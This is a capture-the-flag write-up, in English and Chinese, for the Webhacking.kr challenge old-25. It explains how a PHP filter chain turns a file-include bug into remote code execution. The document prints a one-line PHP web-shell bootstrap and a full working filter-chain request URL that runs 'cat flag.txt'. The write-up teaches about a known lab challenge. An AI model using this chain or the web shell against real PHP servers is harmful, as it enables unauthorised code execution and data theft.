Webhacking.kr old-25 RevengE

Challenge

Read flag.txt despite the server-appended .php suffix.

在服务端自动追加 .php 的情况下读取 flag.txt。

1
http://webhacking.kr:10017/

Analysis

题目会把 file 参数作为资源名并追加 .php。普通 LFI 因此会请求错误的文件名。利用 PHP filter chain,可以把 bootstrap 写入 php://temp,再通过 action=include 执行;bootstrap 从 GET 参数 0 取命令并执行:

1
<?=`$_GET[0]`;;?>

Filter Chain

这条链是为了在不能直接写文件的条件下构造一段可执行的 PHP 源码。构造目标先固定为 bootstrap:

1
<?=`$_GET[0]`;;?>

它的 Base64 是 PD89YCRfR0VUWzBdYDs7Pz4=。链条需要把输入流最终变成这段源码,并让 include() 把生成结果当作 PHP 解释。

链条按以下逻辑组合:

  1. php://filter 提供 stream filter 的入口,resource=php://temp 作为临时资源。题目会给 file 追加 .php,所以使用 wrapper 资源绕过普通文件名拼接。
  2. convert.iconv.* 负责在不同字符集之间转换。特定编码转换会产生或保留可控的前缀字节,作为构造 Base64 字符串的中间步骤。这里的编码名称不是随意排列,每一组都来自 generator 对目标字节的搜索结果。
  3. convert.base64-encode 把当前字节流稳定地表示成 Base64;convert.base64-decode 删除不需要的中间字符并还原下一轮转换所需的字节流。两者交替出现,是为了让后续 iconv 转换继续作用在可控的 Base64 数据上。
  4. convert.iconv.UTF8.UTF7 等转换用于改变字节表示,避免中间结果直接出现无法继续处理的字符。后续 iconv 组继续修正编码和字节边界,直到输出目标 Base64。
  5. 链尾的 convert.base64-decode 把目标 Base64 还原成 bootstrap 源码;/resource=php://temp 指定生成内容的临时 stream,action=include 触发包含操作。
  6. 被包含的 bootstrap 从 GET 参数 0 读取命令,因此 0=cat+flag.txt 才是执行阶段的输入。filter chain 负责生成代码,0 负责提供代码执行后的命令,两者是两个独立阶段。

这条链很长,是因为 iconv filter 只能通过有限的字符集转换逐步改变字节流。generator 会根据目标 PHP 源码的 Base64 表示搜索可用的转换序列,并在每个中间阶段插入 Base64 encode/decode 重新建立稳定的字符集边界。手工删除其中一个转换或交换顺序,都会改变中间字节,最终可能得到空输出、错误编码或不可执行的 PHP。

Solution

下面的请求使用上述 filter chain 生成 bootstrap,并把结果落到 php://temp。action=include 触发 include,参数 0 则让 bootstrap 执行 cat flag.txt:

请求 URL 的 host 是题目服务地址;下面给出路径和查询字符串,host 使用当前 challenge 服务地址:

1
/?file=php%3A%2F%2Ffilter%2Fconvert.iconv.UTF8.CSISO2022KR%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.CP866.CSUNICODE%7Cconvert.iconv.CSISOLATIN5.ISO_6937-2%7Cconvert.iconv.CP950.UTF-16BE%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.865.UTF16%7Cconvert.iconv.CP901.ISO6937%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.SE2.UTF-16%7Cconvert.iconv.CSIBM1161.IBM-932%7Cconvert.iconv.MS932.MS936%7Cconvert.iconv.BIG5.JOHAB%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.851.UTF-16%7Cconvert.iconv.L1.T.618BIT%7Cconvert.iconv.ISO-IR-103.850%7Cconvert.iconv.PT154.UCS4%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.IBM869.UTF16%7Cconvert.iconv.L3.CSISO90%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.INIS.UTF16%7Cconvert.iconv.CSIBM1133.IBM943%7Cconvert.iconv.IBM932.SHIFT_JISX0213%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.CP367.UTF-16%7Cconvert.iconv.CSIBM901.SHIFT_JISX0213%7Cconvert.iconv.UHC.CP1361%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.INIS.UTF16%7Cconvert.iconv.CSIBM1133.IBM943%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.GBK.BIG5%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.CP861.UTF-16%7Cconvert.iconv.L4.GB13000%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.865.UTF16%7Cconvert.iconv.CP901.ISO6937%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.SE2.UTF-16%7Cconvert.iconv.CSIBM1161.IBM-932%7Cconvert.iconv.MS932.MS936%7Cconvert.iconv.BIG5.JOHAB%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.INIS.UTF16%7Cconvert.iconv.CSIBM1133.IBM943%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.CP861.UTF-16%7Cconvert.iconv.L4.GB13000%7Cconvert.iconv.BIG5.JOHAB%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.UTF8.UTF16LE%7Cconvert.iconv.UTF8.CSISO2022KR%7Cconvert.iconv.UCS2.UTF8%7Cconvert.iconv.8859_3.UCS2%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.PT.UTF32%7Cconvert.iconv.KOI8-U.IBM-932%7Cconvert.iconv.SJIS.EUCJP-WIN%7Cconvert.iconv.L10.UCS4%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.CP367.UTF-16%7Cconvert.iconv.CSIBM901.SHIFT_JISX0213%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.PT.UTF32%7Cconvert.iconv.KOI8-U.IBM-932%7Cconvert.iconv.SJIS.EUCJP-WIN%7Cconvert.iconv.L10.UCS4%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.UTF8.CSISO2022KR%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.CP367.UTF-16%7Cconvert.iconv.CSIBM901.SHIFT_JISX0213%7Cconvert.iconv.UHC.CP1361%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.CSIBM1161.UNICODE%7Cconvert.iconv.ISO-IR-156.JOHAB%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.ISO2022KR.UTF16%7Cconvert.iconv.L6.UCS2%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.INIS.UTF16%7Cconvert.iconv.CSIBM1133.IBM943%7Cconvert.iconv.IBM932.SHIFT_JISX0213%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.SE2.UTF-16%7Cconvert.iconv.CSIBM1161.IBM-932%7Cconvert.iconv.MS932.MS936%7Cconvert.iconv.BIG5.JOHAB%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.base64-decode%2Fresource%3Dphp%3A%2F%2Ftemp&action=include&0=cat+flag.txt

该 filter chain 依赖目标 PHP 版本与可用的 iconv filter;更换部署时需根据响应确认链条是否有效。